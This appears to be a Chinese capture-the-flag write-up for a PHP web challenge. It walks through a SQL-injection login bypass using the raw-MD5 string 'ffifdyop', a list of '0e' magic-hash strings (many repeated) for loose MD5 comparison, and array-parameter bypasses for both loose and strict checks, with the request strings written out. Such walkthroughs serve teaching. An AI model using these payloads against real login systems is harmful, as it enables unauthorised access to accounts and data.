打开题目,一片空白,尝试万能密码,sql注入,命令执行都没有任何回显,无从下手!

只好尝试查看开发者选项F12,或者抓包看看有没有什么提示

发现在响应头里有一条sql语句hint:
select * from 'admin' where password=md5($pass,true)
这里是绕过MD5进行注入,这是硬知识点,记住见到会用就好,首先我们得了解MD5()函数:
当md5($pass,true)为true时,返回的是16位原始二进制格式的字符串,所以我们只需知道哪些字符串返回的是16位原始二进制。这里我们只需要记住当password=ffifdyop时是满足的就行:
当password=ffifdyop时
则select * from 'admin' where password=md5(ffifdyop,true)
则select * from 'admin' where password='or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
则select * from 'admin' where password='' or '6]!r,b'
则select * from 'admin' where password='' or true >>> 恒为真
这就是永真的了,这就是一个万能密码了相当于1’ or 1=1#或1’ or 1#。
我们输入ffifdyop,返回了新页面,我们查看源码发现:

代码审计:get传参两个参数a和b,要求a不等于b并且a和b的MD5值要相同
我们这里可以MD5碰撞(MD5值以0e开头)也可以用php数组绕过,
(1)PHP数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false使条件成立
/levels91.php?a[]=1&b[]=2 //a不等于b
(2)MD5碰撞
以下为常见的MD5碰撞组合
s878926199a //原始字符串
0e545993274517709034328855841020 //md5值
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
我们任意使用上面的两个字符串即可
/levels91.php?a=s878926199a&b=s155964671a

返回下一个页面

代码审计:post传参两个参数,要求param1强不等于param2并且param1和param2的MD5值要强相同
强类型比较,那就不能用md5碰撞了,只能用继续数组绕过,我们POST数据:
param1[]=1¶m2[]=2

得到flag

本文介绍了如何通过SQL注入和代码审计来绕过系统验证。利用MD5函数特性找到万能密码,同时展示了PHP数组绕过和MD5碰撞的方法。在面对强类型比较时,依然能够通过数组绕过策略完成挑战,最终获取flag。
1199

被折叠的 条评论
为什么被折叠?



